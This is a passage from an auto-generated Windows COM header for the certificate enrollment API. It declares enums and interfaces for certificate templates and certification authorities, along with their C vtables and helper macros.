,\n\tTemplatePropOID\t= ( TemplatePropMinimumKeySize + 1 ) ,\n\tTemplatePropSupersede\t= ( TemplatePropOID + 1 ) ,\n\tTemplatePropRACertificatePolicies\t= ( TemplatePropSupersede + 1 ) ,\n\tTemplatePropRAEKUs\t= ( TemplatePropRACertificatePolicies + 1 ) ,\n\tTemplatePropCertificatePolicies\t= ( TemplatePropRAEKUs + 1 ) ,\n\tTemplatePropV1ApplicationPolicy\t= ( TemplatePropCertificatePolicies + 1 ) ,\n\tTemplatePropAsymmetricAlgorithm\t= ( TemplatePropV1ApplicationPolicy + 1 ) ,\n\tTemplatePropKeySecurityDescriptor\t= ( TemplatePropAsymmetricAlgorithm + 1 ) ,\n\tTemplatePropSymmetricAlgorithm\t= ( TemplatePropKeySecurityDescriptor + 1 ) ,\n\tTemplatePropSymmetricKeyLength\t= ( TemplatePropSymmetricAlgorithm + 1 ) ,\n\tTemplatePropHashAlgorithm\t= ( TemplatePropSymmetricKeyLength + 1 ) ,\n\tTemplatePropKeyUsage\t= ( TemplatePropHashAlgorithm + 1 ) ,\n\tTemplatePropEnrollmentFlags\t= ( TemplatePropKeyUsage + 1 ) ,\n\tTemplatePropSubjectNameFlags\t= ( TemplatePropEnrollmentFlags + 1 ) ,\n\tTemplatePropPrivateKeyFlags\t= ( TemplatePropSubjectNameFlags + 1 ) ,\n\tTemplatePropGeneralFlags\t= ( TemplatePropPrivateKeyFlags + 1 ) ,\n\tTemplatePropSecurityDescriptor\t= ( TemplatePropGeneralFlags + 1 ) ,\n\tTemplatePropExtensions\t= ( TemplatePropSecurityDescriptor + 1 ) ,\n\tTemplatePropValidityPeriod\t= ( TemplatePropExtensions + 1 ) ,\n\tTemplatePropRenewalPeriod\t= ( TemplatePropValidityPeriod + 1 ) \n    } \tEnrollmentTemplateProperty;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0064_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0064_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateTemplate_INTERFACE_DEFINED__\n#define __IX509CertificateTemplate_INTERFACE_DEFINED__\n\n/* interface IX509CertificateTemplate */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateTemplate;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"54244A13-555A-4e22-896D-1B0E52F76406\")\n    IX509CertificateTemplate : public IDispatch\n    {\n    public:\n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Property( \n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateTemplateVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateTemplate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateTemplate * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateTemplate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateTemplate * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateTemplate * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateTemplate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateTemplate * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Property )( \n            __RPC__in IX509CertificateTemplate * This,\n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue);\n        \n        END_INTERFACE\n    } IX509CertificateTemplateVtbl;\n\n    interface IX509CertificateTemplate\n    {\n        CONST_VTBL struct IX509CertificateTemplateVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateTemplate_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateTemplate_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateTemplate_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateTemplate_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateTemplate_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateTemplate_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateTemplate_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateTemplate_get_Property(This,property,pValue)\t\\\n    ( (This)->lpVtbl -> get_Property(This,property,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateTemplate_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateTemplates_INTERFACE_DEFINED__\n#define __IX509CertificateTemplates_INTERFACE_DEFINED__\n\n/* interface IX509CertificateTemplates */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateTemplates;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"13b79003-2181-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateTemplates : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ItemByName( \n            /* [in] */ __RPC__in BSTR bstrName,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ItemByOid( \n            /* [in] */ __RPC__in_opt IObjectId *pOid,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateTemplatesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateTemplates * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateTemplates * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateTemplates * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509CertificateTemplates * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByName )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ __RPC__in BSTR bstrName,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByOid )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ __RPC__in_opt IObjectId *pOid,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue);\n        \n        END_INTERFACE\n    } IX509CertificateTemplatesVtbl;\n\n    interface IX509CertificateTemplates\n    {\n        CONST_VTBL struct IX509CertificateTemplatesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateTemplates_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateTemplates_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateTemplates_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateTemplates_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateTemplates_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateTemplates_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateTemplates_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateTemplates_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509CertificateTemplates_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509CertificateTemplates_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509CertificateTemplates_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509CertificateTemplates_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509CertificateTemplates_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define IX509CertificateTemplates_get_ItemByName(This,bstrName,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByName(This,bstrName,ppValue) ) \n\n#define IX509CertificateTemplates_get_ItemByOid(This,pOid,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByOid(This,pOid,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateTemplates_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0066 */\n/* [local] */ \n\ntypedef \nenum CommitTemplateFlags\n    {\tCommitFlagSaveTemplateGenerateOID\t= 1,\n\tCommitFlagSaveTemplateUseCurrentOID\t= 2,\n\tCommitFlagSaveTemplateOverwrite\t= 3,\n\tCommitFlagDeleteTemplate\t= 4\n    } \tCommitTemplateFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0066_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0066_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateTemplateWritable_INTERFACE_DEFINED__\n#define __IX509CertificateTemplateWritable_INTERFACE_DEFINED__\n\n/* interface IX509CertificateTemplateWritable */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateTemplateWritable;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"F49466A7-395A-4e9e-B6E7-32B331600DC0\")\n    IX509CertificateTemplateWritable : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Commit( \n            /* [in] */ CommitTemplateFlags commitFlags,\n            /* [in] */ __RPC__in BSTR strServerContext) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Property( \n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Property( \n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [in] */ VARIANT value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateTemplateWritableVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateTemplateWritable * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateTemplateWritable * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateTemplateWritable * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *Commit )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ CommitTemplateFlags commitFlags,\n            /* [in] */ __RPC__in BSTR strServerContext);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Property )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Property )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [in] */ VARIANT value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue);\n        \n        END_INTERFACE\n    } IX509CertificateTemplateWritableVtbl;\n\n    interface IX509CertificateTemplateWritable\n    {\n        CONST_VTBL struct IX509CertificateTemplateWritableVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateTemplateWritable_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateTemplateWritable_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateTemplateWritable_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateTemplateWritable_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateTemplateWritable_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateTemplateWritable_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateTemplateWritable_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateTemplateWritable_Initialize(This,pValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pValue) ) \n\n#define IX509CertificateTemplateWritable_Commit(This,commitFlags,strServerContext)\t\\\n    ( (This)->lpVtbl -> Commit(This,commitFlags,strServerContext) ) \n\n#define IX509CertificateTemplateWritable_get_Property(This,property,pValue)\t\\\n    ( (This)->lpVtbl -> get_Property(This,property,pValue) ) \n\n#define IX509CertificateTemplateWritable_put_Property(This,property,value)\t\\\n    ( (This)->lpVtbl -> put_Property(This,property,value) ) \n\n#define IX509CertificateTemplateWritable_get_Template(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateTemplateWritable_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0067 */\n/* [local] */ \n\ntypedef \nenum EnrollmentCAProperty\n    {\tCAPropCommonName\t= 1,\n\tCAPropDistinguishedName\t= ( CAPropCommonName + 1 ) ,\n\tCAPropSanitizedName\t= ( CAPropDistinguishedName + 1 ) ,\n\tCAPropSanitizedShortName\t= ( CAPropSanitizedName + 1 ) ,\n\tCAPropDNSName\t= ( CAPropSanitizedShortName + 1 ) ,\n\tCAPropCertificateTypes\t= ( CAPropDNSName + 1 ) ,\n\tCAPropCertificate\t= ( CAPropCertificateTypes + 1 ) ,\n\tCAPropDescription\t= ( CAPropCertificate + 1 ) ,\n\tCAPropWebServers\t= ( CAPropDescription + 1 ) ,\n\tCAPropSiteName\t= ( CAPropWebServers + 1 ) ,\n\tCAPropSecurity\t= ( CAPropSiteName + 1 ) ,\n\tCAPropRenewalOnly\t= ( CAPropSecurity + 1 ) \n    } \tEnrollmentCAProperty;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0067_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0067_v0_0_s_ifspec;\n\n#ifndef __ICertificationAuthority_INTERFACE_DEFINED__\n#define __ICertificationAuthority_INTERFACE_DEFINED__\n\n/* interface ICertificationAuthority */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificationAuthority;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"835D1F61-1E95-4bc8-B4D3-976C42B968F7\")\n    ICertificationAuthority : public IDispatch\n    {\n    public:\n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Property( \n            /* [in] */ enum EnrollmentCAProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertificationAuthorityVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificationAuthority * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificationAuthority * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificationAuthority * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificationAuthority * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificationAuthority * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificationAuthority * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificationAuthority * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Property )( \n            __RPC__in ICertificationAuthority * This,\n            /* [in] */ enum EnrollmentCAProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue);\n        \n        END_INTERFACE\n    } ICertificationAuthorityVtbl;\n\n    interface ICertificationAuthority\n    {\n        CONST_VTBL struct ICertificationAuthorityVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificationAuthority_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificationAuthority_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificationAuthority_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificationAuthority_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificationAuthority_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificationAuthority_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificationAuthority_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertificationAuthority_get_Property(This,property,pValue)\t\\\n    ( (This)->lpVtbl -> get_Property(This,property,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertificationAuthority_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertificationAuthorities_INTERFACE_DEFINED__\n#define __ICertificationAuthorities_INTERFACE_DEFINED__\n\n/* interface ICertificationAuthorities */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificationAuthorities;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"13b79005-2181-11da-b2a4-000e7bbb2b09\")\n    ICertificationAuthorities : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthority **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICertificationAuthority *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ComputeSiteCosts( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ItemByName( \n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICertificationAuthority **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertificationAuthoritiesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( 